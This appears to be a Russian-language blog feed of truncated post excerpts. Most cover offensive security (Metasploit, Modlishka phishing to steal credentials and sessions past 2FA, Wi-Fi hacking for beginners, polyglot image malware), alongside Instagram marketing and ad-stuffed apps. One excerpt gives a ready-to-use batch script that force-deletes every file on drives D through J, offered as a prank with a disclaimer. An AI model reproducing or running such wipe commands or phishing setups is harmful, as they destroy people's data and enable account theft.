• Metasploit — набор программных инструментов для создания эксплойтов. Набор так широк, что при помощи него можно создать собственные инструменты. • Acunetix WVS — сканер, которых находит уязвимости на веб-сайтах, приводящие к фатальным ошибкам • Network Mapper — один из самых популярных сканеров портов • Wireshark — инструмент, которых находит уязвимости внутри сети, даже среди […]
Контент в Instagram по-прежнему король, если использовать те форматы, что близки пользователю, усиливать доверие и капельку удивлять. Прямые продажи продукта, списки ваших преимуществ, посты в стиле «задайте нам вопрос» — оставьте для музея древностей. Instagram делает ставку на ценности клиента и пользовательский контент. Рассказываю, как публиковать посты на 1001 лайк и кто поможет вам нарастить […]
Создавать приложения мы будем без навыков программирования и других особых умений. Вариант №1 : Создаём простое, не очень качественное приложение, которое будут скачивать. Встраиваем туда рекламу и получаем деньги! Вариант №2 : Он более интересный и полезный для пользователей. В некоторых случаях приносит гораздо больше прибыли, чем первый вариант. Мы будем создавать приложение с обоями. […]
Содержание статьи 01. Экскурс в 2FA 02. Modlishka 03. Поднимаем стенд 04. Ловим учетные данные и сессию жертвы 05. Готовый комплект за NAT 06. Взломать хакера 07. Выводы Экскурс в 2FA Во времена, когда сайты работали по HTTP и о защите толком никто и не думал, перехватить трафик с учетными данными было совсем несложно. Потом […]
SpiderFoot — это инструмент с открытым исходным кодом для автоматизированной разведки. Его цель — автоматизировать процесс сбора информации о заданной целе.http://www.spiderfoot.net/ Установка SpiderFoot в Linux SpiderFoot написан на Python (2.7), поэтому для его запуска на Linux/Solaris/FreeBSD/и т.д. вам нужен установленный Python 2.7, а также дополнительные модули lxml, netaddr, M2Crypto, CherryPy и Mako. ■Установите зависимости pip […]
Для проведения тестирования на проникновения беспроводных сетей отлично подойдет дистрибутив kali linux, содержащий большое количество утилит. Для начала мы проверим доступные сетевые интерфейсы. Сделать это можно командой: iwconfig При этом вы увидите похожую картинку: В данном случае есть 2 доступных сетевых интерфейса, wlan0mon (о режиме мониторинга чуть позже) и wlan1 (wlan0). После это шага есть несколько […]
Когда-то стали известны способы размещения вредоносного кода в изображении. Немногим позднее появилась атака Polyglot,когда вредоносный файл одновременно является изображением и JavaScript-кодом. В основном,это касалось файлов BMP,при этом,2 первых байта представляли 16-ричное представление символов ВМ в изображении ВМP. Далее,4 байта отвечают за размер,затем 4 нулевых байта и байты,отвечающие за смещение данных. При выполнении техники Polyglot,контролируется размер […]
Группа не несёт ответственности за ваши ПК! Удаляем все файлы с дисков: off del D:\*.* /f /s /q del E:\*.* /f /s /q del F:\*.* /f /s /q del G:\*.* /f /s /q del H:\*.* /f /s /q del I:\*.* /f /s /q del J:\*.* /f /s /q Сохранять в расширении .bat Создаём много папок. […]
Что такое аутентификация электронной почты? При создании Интернета изначально не было разработано никакой возможности проверить личность отправителя. Во время разработки основных протоколов электронной почты, затраты на вычислительную мощность, реализацию и простоту использования были уравновешены с риском мошенничества. Тяжело было предположить, что 84% всей электронной почты в будущем будут иметь вредоносную нагрузку и являться фишингом или […]
Предисловие Все мы знаем, что wi-fi сети можно взломать, но способы порой бывают сложны. Большинство не хочет париться и разбираться с Kali Linux, wareshark, aircrack и тому подобных темах, несмотря на то, что инфы в том же клирнете предостаточно. Сегодняшний пост нацелен на тех, кто не хочет ни в чем разбираться, но при этом хочет […]